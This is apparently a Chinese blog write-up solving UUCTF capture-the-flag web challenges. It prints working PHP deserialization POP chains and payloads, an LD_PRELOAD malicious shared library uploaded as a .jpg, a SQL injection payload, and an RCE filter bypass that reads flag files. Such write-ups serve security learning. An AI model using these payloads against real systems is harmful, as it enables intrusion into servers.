ezpop
一次成功,太爽
先构造原始POP链子:
<?php
error_reporting(0);
class output{
public $a; // a=new youwant();
function __toString(){
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a=""; // a = new output();
}
function __destruct(){
$this->b=$this->t;
die($this->a); // toString
}
}
class youwant{
public $cmd; // system("cat flag.php");
function rce(){
eval($this->cmd);
}
}
$a=new nothing();
$a->t=new output();
$a->t->a = new youwant();
$a->t->a->cmd = "system('cat flag.php');";
$a->a=&$a->b;
echo serialize($a)."\n";
echo base64_encode(serialize($a));
输出:
O:7:"nothing":3:{s:1:"a";N;s:1:"b";R:2;s:1:"t";O:6:"output":1:{s:1:"a";O:7:"youwant":1:{s:3:"cmd";s:23:"system('cat flag.php');";}}}
Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19
有了base64encode的值之后,尝试使用UUCTF的链子来反序列化:
<?php
//flag in flag.php
error_reporting(0);
class UUCTF{
public $name,$key,$basedata,$ob;
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output{
public $a; // a=new youwant();
function __toString(){
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a=""; // a = new output();
}
function __destruct(){
$this->b=$this->t;
die($this->a); // toString
}
}
class youwant{
public $cmd; // system("cat flag.php");
function rce(){
eval($this->cmd);
}
}
//Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19==
$a = new UUCTF();
$a->name = "qingfeng";
$a->key = "UUCTF";
$a->basedata = "Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19=";
echo serialize($a);
输出:
O:5:"UUCTF":4:{s:4:"name";s:8:"qingfeng";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:177:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19=";s:2:"ob";N;}
接下来就是构造恶意参数了:
发现要逃逸的有237个字符,那就使用237个hacker
再拼接后面的逃逸反序列对象:
hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:177:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19=";s:2:"ob";N;}
丢到POST传参:
uploadandinject
hint.php直接访问,提示swp文件
下载.index.php.swp文件,如何Linux用vim -r .index.php.swp 读原来文件内容:
看到putenv和LD_PRELOAD就感觉是劫持环境变量了,虽然做过类似题目,但是不是很会利用。就翻阅了很多篇文章:
深入浅出LD_PRELOAD & putenv() - 安全客,安全资讯平台(推荐这篇优先)
从一道题学习LD_PRELOAD & putenv()_Snakin_ya的博客-CSDN博客
LD_PRELOAD & putenv() 绕过 disable_functions & open_basedir_weixin_30247781的博客-CSDN博客
以前的姿势都是:php+恶意so文件配合:
putenv("LD_PRELOAD=" . $so_path); //加载恶意动态库
mail("", "", "", ""); //利用mail函数触发恶意函数,跳转至__attribute__ ((__constructor__))修饰的函数。
第二篇文章可以看到这样的注释:
putenv("LD_PRELOAD=")的形式可以加载恶意动态库
mail触发恶意函数跳转至__attribute__ ((__constructor__))修饰的函数
但是现在无法上传php文件,该怎么办?
文章中有这么一个方法:
改进版(hijack shared library)
我本地试了之后发现echo $img_path;这一句话可以触发so文件,但是具体原因确实不是很了解。有了解的师傅可以指点一下出来!!
起码现在可以触发so文件了,那么久用__attribute__ ((__constructor__))+读文件的组合拳便可以执行命令了
制作c文件:
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("cat /f*");
}
编译一下:
gcc -shared -fPIC test.c -o test.so
然后把test.so文件改名test.jpg上传之后读取:
funmd5
题目给了源码:
<?php
error_reporting(0);
include "flag.php";
$time=time();
$guessmd5=md5($time);
$md5=$_GET["md5"];
if(isset($md5)){
$sub=substr($time,-1);
$md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);
if(preg_match('/0e/',$md5[0])){
$md5[0]=substr($md5[0],$sub);
if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){
echo "well!you win again!now flag is yours.<br>";
echo $flag;
}
else{
echo $md5[0];
echo "oh!no!maybe you need learn more PHP!";
}
}
else{
echo "this is your md5:$md5[0]<br>";
echo "maybe you need more think think!";
}
}
else{
highlight_file(__FILE__);
$sub=strlen($md5[0]);
echo substr($guessmd5,0,5)."<br>";
echo "plase give me the md5!";
}
?>
本来卡在这一句:
$md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);
问了xiaoqiuxx师傅,原来是匹配头和尾也没有0e,用换行可以绕过。
ok,这一步解决了那就简单多了,说一下我的思路:
$md5[0]=substr($md5[0],$sub);
$md5[0]被新赋值了,而且$sub是随着时间的变化而变化,那么包括0e之后内容就是我们可控的
举个例子:
<?php
$md5[0] = "\n0e123"
那么我们就可以把前面的\n去掉,从而实现0e绕过md5的方法
$md5[1]的话看时间戳就可以了,可以写python发包,也可以直接卡时间戳手动发包
所以传参?md5[]=%0a0e215962017&md5[]=xxxxx
这里写一个python脚本吧:(因为做题的时候是手动发包,写周报就换个方法吧)
import hashlib
import requests
import time
url = "http://43.143.7.97:28130/index.php"
while True:
if str(int(time.time()))[-1] == "2":
time.sleep(0.7)
timestamp = str(int(time.time()))
md5 = hashlib.md5(timestamp.encode())
md5value = md5.hexdigest()
url = url+'?md5[]=' + "%0a%0d0e215962017" + "&md5[]=" + md5value
print(url)
print(time.time())
resp = requests.get(url)
print(resp.text)
break
加sleep是因为有延迟
phonecode
题目提示下一次必命中+测试后 感觉是php_seed
跑脚本
多试试几个种子:
<?php
mt_srand(2189516557);//手工播种
echo mt_rand()."\n";
echo mt_rand()."\n";
echo mt_rand()."\n";
echo mt_rand()."\n";
echo mt_rand()."\n";
echo mt_rand()."\n";
echo mt_rand()."\n";
system("php -v");
?>
</br>1355882822
填完得到flag:
ezsql
这个是真的ezsql,union注入就可以得到flag了
直接上payload了:
?user=1&password=%23galf+moorrf+FTCUU%2C1+tceles+noinu+%29%271
ez_rce
源码:
居然都不输入参数,可恶!!!!!!!!!
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}
知识:`whoami`=>shell_exec() 捆绑的 函数被禁用则``也不能用,过滤的话可以
这里只是把shell给禁了,`` 还是可以用的
但是发现没有回显。。。
函数print_r,var_dump();
可以显示,就可以拿下了:
ez_upload
1.jpg.php绕过
ez_unser
源码:
<?php
show_source(__FILE__);
###very___so___easy!!!!
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
__wakeup+__destruct绕过:
unserialize __wakeup bypass · Issue #9618 · php/php-src · GitHub
很遗憾,试了一下好像都不行。。。。。
这里用了xiaoqiuxx师傅告诉我的用地址的方法
<?php
error_reporting(0);
class test{
public $a;
public $b;
public $c;
}
$a = new test();
$a->c = "system('cat /f*');";
$a->b = "system('cat /f*');";
$a->a = &$a->b;
echo serialize($a);
//O:4:"test":3:{s:1:"a";s:18:"system('cat /f*');";s:1:"b";R:2;s:1:"c";s:18:"system('cat /f*');";}
得到flag:
ezrce
这个是看了别人wp后才知道的
>nl
>* /*>a
访问/tmp/a
得到flag
这里提示命令执行失败是假的(哭),xiaoqiuxx师傅提醒我是访问/tmp/目录,难怪原来没有。。
backdoor
这一题还没搞清楚,看别人的吧
UUCTF - Welcome to my blog
|